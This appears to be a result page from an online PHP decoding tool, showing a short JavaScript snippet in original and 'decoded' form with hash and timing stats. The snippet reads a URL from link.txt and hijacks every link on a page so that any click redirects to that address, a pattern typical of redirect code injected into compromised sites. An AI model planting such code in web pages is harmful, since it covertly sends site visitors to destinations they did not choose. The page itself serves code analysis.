Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<script> // Check if link.txt exists and fetch its contents fetch('link.txt') .then..

Decoded Output download

<?  <script> 
// Check if link.txt exists and fetch its contents 
fetch('link.txt') 
    .then(response => response.text()) 
    .then(linkText => { 
        // Trim whitespace and check if linkText is not empty 
        if (linkText.trim() !== '') { 
            // Parse the link from link.txt 
            var link = linkText.trim(); 
 
            // Select all anchor elements 
            var links = document.getElementsByTagName("a"); 
 
            // Add click event listener to each anchor element 
            for (var i = 0; i < links.length; i++) { 
                links[i].addEventListener("click", function(event) { 
                    // Prevent default action 
                    event.preventDefault(); 
 
                    // Redirect to the fetched link from link.txt 
                    window.location = link; 
                }); 
            } 
        } 
    }) 
    .catch(error => { 
        console.error('Failed to fetch link.txt:', error); 
    }); 
</script> 
 ?>

Did this file decode correctly?

Original Code

<script>
// Check if link.txt exists and fetch its contents
fetch('link.txt')
    .then(response => response.text())
    .then(linkText => {
        // Trim whitespace and check if linkText is not empty
        if (linkText.trim() !== '') {
            // Parse the link from link.txt
            var link = linkText.trim();

            // Select all anchor elements
            var links = document.getElementsByTagName("a");

            // Add click event listener to each anchor element
            for (var i = 0; i < links.length; i++) {
                links[i].addEventListener("click", function(event) {
                    // Prevent default action
                    event.preventDefault();

                    // Redirect to the fetched link from link.txt
                    window.location = link;
                });
            }
        }
    })
    .catch(error => {
        console.error('Failed to fetch link.txt:', error);
    });
</script>

Function Calls

None

Variables

None

Stats

MD5 56f941e9a16436c2c1a1df4e24cbed4c
Eval Count 0
Decode Time 53 ms